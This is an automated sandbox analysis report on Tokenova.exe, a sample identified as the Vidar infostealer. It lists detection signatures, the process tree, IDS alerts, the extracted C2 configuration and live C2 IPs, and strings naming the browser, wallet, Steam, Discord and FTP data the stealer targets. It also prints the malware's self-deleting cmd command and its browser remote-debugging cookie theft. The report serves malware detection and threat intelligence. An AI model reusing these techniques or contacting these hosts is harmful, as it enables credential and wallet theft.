Edit tour

Windows Analysis Report
Tokenova.exe

Overview

General Information

Sample name:	Tokenova.exe
Analysis ID:	1624221
MD5:	fc84c5d5dbd5892000ae1424656c8e34
SHA1:	1713b6eaeb6ea6266a4c1195e1408e078ff11ce3
SHA256:	4e028d34a9a53087379525dd68381c22efae2f34e80a7ddbbf04617e68db07ff
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Joe Sandbox ML detected suspicious sample

Monitors registry run keys for changes

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Uses 32bit PE files

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Tokenova.exe (PID: 5888 cmdline: "C:\Users\user\Desktop\Tokenova.exe" MD5: FC84C5D5DBD5892000AE1424656C8E34)

chrome.exe (PID: 3116 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1524 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2460 --field-trial-handle=1216,i,9325567259167170943,13353652887084934896,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7948 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8176 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2572 --field-trial-handle=2504,i,13536360286798907738,8748561752337000237,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 7268 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\89r1v" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 8800 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

msedge.exe (PID: 8188 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7360 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2988 --field-trial-handle=2068,i,11351998689628914770,5960412982263552358,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8468 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7008 --field-trial-handle=2068,i,11351998689628914770,5960412982263552358,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8492 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7176 --field-trial-handle=2068,i,11351998689628914770,5960412982263552358,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8064 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7216 --field-trial-handle=2068,i,11351998689628914770,5960412982263552358,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": "https://steamcommunity.com/profiles/76561199828130190", "Botnet": "ot0yikam"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2724521262.0000000003953000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000003.2723544261.0000000003941000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2303749879.0000000001926000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Tokenova.exe PID: 5888	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Tokenova.exe PID: 5888	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 1 entries

Sigma Signatures

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\Tokenova.exe", ParentImage: C:\Users\user\Desktop\Tokenova.exe, ParentProcessId: 5888, ParentProcessName: Tokenova.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 3116, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T01:48:56.833348+0100	2044247	1	Malware Command and Control Activity Detected	94.130.190.206	443	192.168.2.5	61249	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T01:48:58.193399+0100	2051831	1	Malware Command and Control Activity Detected	94.130.190.206	443	192.168.2.5	61260	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T01:48:55.510249+0100	2049087	1	A Network Trojan was detected	192.168.2.5	61238	94.130.190.206	443	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T01:48:59.584853+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.5	61270	94.130.190.206	443	TCP
2025-02-26T01:49:00.673310+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.5	61277	94.130.190.206	443	TCP
2025-02-26T01:49:08.849401+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.5	61328	94.130.190.206	443	TCP
2025-02-26T01:49:09.155988+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.5	61341	94.130.190.206	443	TCP
2025-02-26T01:49:10.223837+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.5	61346	94.130.190.206	443	TCP
2025-02-26T01:49:11.165111+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.5	61353	94.130.190.206	443	TCP
2025-02-26T01:49:12.926654+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.5	61359	94.130.190.206	443	TCP
2025-02-26T01:49:19.062964+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.5	61404	94.130.190.206	443	TCP
2025-02-26T01:49:19.944368+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.5	61428	94.130.190.206	443	TCP
2025-02-26T01:49:20.960977+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.5	61449	94.130.190.206	443	TCP
2025-02-26T01:49:22.067695+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.5	61465	94.130.190.206	443	TCP
2025-02-26T01:49:23.321517+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.5	61505	94.130.190.206	443	TCP
2025-02-26T01:49:24.657787+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.5	61525	94.130.190.206	443	TCP
2025-02-26T01:49:26.441918+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.5	61552	94.130.190.206	443	TCP
2025-02-26T01:49:31.192299+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.5	61586	94.130.190.206	443	TCP
2025-02-26T01:49:34.616460+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.5	61618	94.130.190.206	443	TCP

ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T01:49:09.155988+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.5	61341	94.130.190.206	443	TCP
2025-02-26T01:49:10.223837+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.5	61346	94.130.190.206	443	TCP
2025-02-26T01:49:11.165111+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.5	61353	94.130.190.206	443	TCP
2025-02-26T01:49:19.944368+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.5	61428	94.130.190.206	443	TCP
2025-02-26T01:49:20.960977+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.5	61449	94.130.190.206	443	TCP
2025-02-26T01:49:22.067695+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.5	61465	94.130.190.206	443	TCP
2025-02-26T01:49:23.321517+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.5	61505	94.130.190.206	443	TCP
2025-02-26T01:49:24.657787+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.5	61525	94.130.190.206	443	TCP
2025-02-26T01:49:26.441918+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.5	61552	94.130.190.206	443	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-26T01:48:54.196998+0100	2859378	1	Malware Command and Control Activity Detected	192.168.2.5	49745	94.130.190.206	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://fua.4t.com/

Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000003.2724521262.0000000003953000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199828130190", "Botnet": "ot0yikam"}

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 92.8% probability

Source: Tokenova.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.190.206:443 -> 192.168.2.5:49730 version: TLS 1.2

Source: Tokenova.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: A{"id":1,"method":"Storage.getCookies"}\|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d %d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2comctl32gdi32:225121Windows 11HTTP/1.1HARDWARE\DESCRIPTION\System\CentralProcessor\0abcdefgh
Source:	Binary string: C:\buildslave\unity\build\build\WindowsStandaloneSupport\Variations\win32_nondevelopment_mono\player_win_x86.pdb source: Tokenova.exe
Source:	Binary string: C:\Users\Administrator\Desktop\vdr1\Release\vdr1.pdbA source: Tokenova.exe, 00000000.00000003.2724521262.0000000003953000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2723544261.0000000003941000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2723430102.0000000003A59000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: vdr1.pdb source: Tokenova.exe, 00000000.00000003.2724521262.0000000003953000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2723544261.0000000003941000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2723430102.0000000003A59000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: 1.pdb\ source: Tokenova.exe, 00000000.00000003.2723544261.0000000003941000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 1.pdb source: Tokenova.exe, 00000000.00000003.2723544261.0000000003941000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Administrator\Desktop\vdr1\Release\vdr1.pdb source: Tokenova.exe, 00000000.00000003.2724521262.0000000003953000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2723544261.0000000003941000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2723430102.0000000003A59000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: {"id":1,"method":"Storage.getCookies"}\|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d %d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2comctl32gdi32:225121Windows 11HTTP/1.1HARDWARE\DESCRIPTION\System\CentralProcessor\0abcdefghi

Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 38MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.5:49745 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.5:61238 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.5:61328 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.5:61277 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.5:61270 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.5:61346 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.5:61346 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.5:61353 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.5:61353 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 94.130.190.206:443 -> 192.168.2.5:61249
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 94.130.190.206:443 -> 192.168.2.5:61260
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.5:61428 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.5:61428 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.5:61341 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.5:61341 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.5:61404 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.5:61359 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.5:61465 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.5:61465 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.5:61505 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.5:61505 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.5:61552 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.5:61552 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.5:61525 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.5:61525 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.5:61586 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.5:61449 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.5:61449 -> 94.130.190.206:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.5:61618 -> 94.130.190.206:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199828130190

Source: global traffic

TCP traffic: 192.168.2.5:61237 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: GET /g02f04 HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 2.16.164.104 2.16.164.104
